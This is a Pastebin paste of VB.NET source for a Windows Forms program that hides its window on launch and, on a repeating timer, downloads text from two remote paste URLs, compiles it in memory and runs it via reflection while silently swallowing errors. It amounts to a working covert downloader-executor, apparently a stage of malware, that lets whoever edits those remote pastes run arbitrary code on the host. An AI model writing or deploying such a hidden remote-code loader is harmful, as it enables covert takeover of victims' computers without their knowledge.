Advertisement
calfred2808

xV1

Oct 10th, 2016
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 6.60 KB | None | 0 0
  1. Imports System.IO
  2. Imports System.Reflection
  3. Imports System.CodeDom
  4. Imports System.CodeDom.Compiler
  5. Imports Microsoft.VisualBasic
  6.  
  7. Imports System.Text
  8. Imports System.Net
  9.  
  10.  
  11.  
  12.  
  13. Public Class MainForm
  14.  
  15.  
  16.  
  17.     Private Sub MainForm_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  18.         Timer1.Start()
  19.         HideAndSeek()
  20.  
  21.        
  22.     End Sub
  23.  
  24.  
  25.  
  26.     Public Sub HideAndSeek()
  27.         Me.Location = New Point(99999, 99999)
  28.         Me.Visible = False
  29.  
  30.         ShowInTaskbar = False
  31.  
  32.  
  33.         Me.Opacity = 0
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.     End Sub
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.     Public Sub code()
  54.  
  55.         Try
  56.             Dim address As String = "http://textuploader.com/5nkff/raw"
  57.  
  58.             Dim client As WebClient = New WebClient()
  59.             Dim reader As StreamReader = New StreamReader(client.OpenRead(address))
  60.  
  61.  
  62.  
  63.             txtbxReceiver.Text = reader.ReadToEnd
  64.         Catch ex As Exception
  65.  
  66.         End Try
  67.     End Sub
  68.  
  69.  
  70.  
  71.     Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
  72.         Try
  73.             code()
  74.             Executer()
  75.  
  76.             Code2()
  77.             executer2()
  78.  
  79.         Catch ex As Exception
  80.  
  81.         End Try
  82.  
  83.     End Sub
  84.  
  85.     Public Sub Executer()
  86.         ' read code from textbox
  87.         Dim Code As String = txtbxReceiver.Text
  88.         ' clear output textbox
  89.         txtbxError.Clear()
  90.         ' create fully functional assembly string
  91.         Code = ("Imports System" & vbCrLf &
  92.                 "Imports System.Windows.Forms" & vbCrLf &
  93.                 "Imports Microsoft.Visualbasic" & vbCrLf &
  94.                 "Public Class TempClass" & vbCrLf &
  95.                 "Public Sub MyCode(ByVal txtbxError As TextBox)" & vbCrLf &
  96.                 Code & vbCrLf &
  97.                 "End Sub" & vbCrLf &
  98.                 "End Class")
  99.         ' create the compiler
  100.         Dim vbProv = New VBCodeProvider()
  101.         ' create parameters to pass to the compiler
  102.         Dim vbParams = New CompilerParameters()
  103.         ' add referenced assemblies.  
  104.         vbParams.ReferencedAssemblies.Add("System.dll")
  105.         vbParams.ReferencedAssemblies.Add("System.Windows.Forms.dll")
  106.         vbParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
  107.         ' generate an assembly in memory
  108.         vbParams.GenerateExecutable = False
  109.         vbParams.GenerateInMemory = True
  110.         ' give it a name
  111.         vbParams.OutputAssembly = "MyCode"
  112.         ' compile the code and get the compiler results
  113.         Dim compResults = vbProv.CompileAssemblyFromSource(vbParams, Code)
  114.         ' check for compile errors  
  115.         If compResults.Errors.HasErrors Then
  116.             Dim ErrorMsg As String = compResults.Errors.Count.ToString & " Errors:"
  117.             For x As Integer = 0 To compResults.Errors.Count - 1
  118.                 ErrorMsg = ErrorMsg & vbCrLf & "Line: " & compResults.Errors(x).Line.ToString & " - " + compResults.Errors(x).ErrorText
  119.             Next
  120.             txtbxError.Text = ErrorMsg & vbCrLf & vbCrLf + Code
  121.         Else
  122.             ' create instance of the temporary compiled class
  123.             Dim obj As Object = compResults.CompiledAssembly.CreateInstance("TempClass")
  124.             ' use textbox 2 for output
  125.             Dim args() As Object = {Me.txtbxError}
  126.             Try
  127.                 ' execute the code  
  128.                 Dim result As Object = obj.GetType().InvokeMember("MyCode", BindingFlags.InvokeMethod, Nothing, obj, args)
  129.             Catch Oops As Exception
  130.                 ' oops
  131.                 MessageBox.Show(Oops.Message)
  132.             End Try
  133.         End If
  134.     End Sub
  135.  
  136.  
  137.  
  138.  
  139.     Private Sub btnCode_Click(sender As Object, e As EventArgs) Handles btnCode.Click
  140.         code()
  141.  
  142.     End Sub
  143.  
  144.     Private Sub btnExecute_Click(sender As Object, e As EventArgs) Handles btnExecute.Click
  145.         Executer()
  146.     End Sub
  147.  
  148.  
  149.  
  150.  
  151.  
  152.     Public Sub Code2()
  153.         'http://pastebin.com/raw/125AU1em
  154.  
  155.  
  156.         Try
  157.             Dim address As String = "http://pastebin.com/raw/125AU1em"
  158.  
  159.             Dim client As WebClient = New WebClient()
  160.             Dim reader As StreamReader = New StreamReader(client.OpenRead(address))
  161.  
  162.  
  163.  
  164.             txtbxRCVR2.Text = reader.ReadToEnd
  165.         Catch ex As Exception
  166.  
  167.         End Try
  168.  
  169.  
  170.     End Sub
  171.  
  172.     Public Sub executer2()
  173.         ' read code from textbox
  174.         Dim Code As String = txtbxRCVR2.Text
  175.         ' clear output textbox
  176.         txtbxERROR2.Clear()
  177.         ' create fully functional assembly string
  178.         Code = ("Imports System" & vbCrLf &
  179.                 "Imports System.Windows.Forms" & vbCrLf &
  180.                 "Imports Microsoft.Visualbasic" & vbCrLf &
  181.                 "Public Class TempClass" & vbCrLf &
  182.                 "Public Sub MyCode(ByVal txtbxError2 As TextBox)" & vbCrLf &
  183.                 Code & vbCrLf &
  184.                 "End Sub" & vbCrLf &
  185.                 "End Class")
  186.         ' create the compiler
  187.         Dim vbProv = New VBCodeProvider()
  188.         ' create parameters to pass to the compiler
  189.         Dim vbParams = New CompilerParameters()
  190.         ' add referenced assemblies.  
  191.         vbParams.ReferencedAssemblies.Add("System.dll")
  192.         vbParams.ReferencedAssemblies.Add("System.Windows.Forms.dll")
  193.         vbParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
  194.         ' generate an assembly in memory
  195.         vbParams.GenerateExecutable = False
  196.         vbParams.GenerateInMemory = True
  197.         ' give it a name
  198.         vbParams.OutputAssembly = "MyCode"
  199.         ' compile the code and get the compiler results
  200.         Dim compResults = vbProv.CompileAssemblyFromSource(vbParams, Code)
  201.         ' check for compile errors  
  202.         If compResults.Errors.HasErrors Then
  203.             Dim ErrorMsg As String = compResults.Errors.Count.ToString & " Errors:"
  204.             For x As Integer = 0 To compResults.Errors.Count - 1
  205.                 ErrorMsg = ErrorMsg & vbCrLf & "Line: " & compResults.Errors(x).Line.ToString & " - " + compResults.Errors(x).ErrorText
  206.             Next
  207.             txtbxERROR2.Text = ErrorMsg & vbCrLf & vbCrLf + Code
  208.         Else
  209.             ' create instance of the temporary compiled class
  210.             Dim obj As Object = compResults.CompiledAssembly.CreateInstance("TempClass")
  211.             ' use textbox 2 for output
  212.             Dim args() As Object = {Me.txtbxERROR2}
  213.             Try
  214.                 ' execute the code  
  215.                 Dim result As Object = obj.GetType().InvokeMember("MyCode", BindingFlags.InvokeMethod, Nothing, obj, args)
  216.             Catch Oops As Exception
  217.                 ' oops
  218.                 MessageBox.Show(Oops.Message)
  219.             End Try
  220.         End If
  221.     End Sub
  222.  
  223.  
  224. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement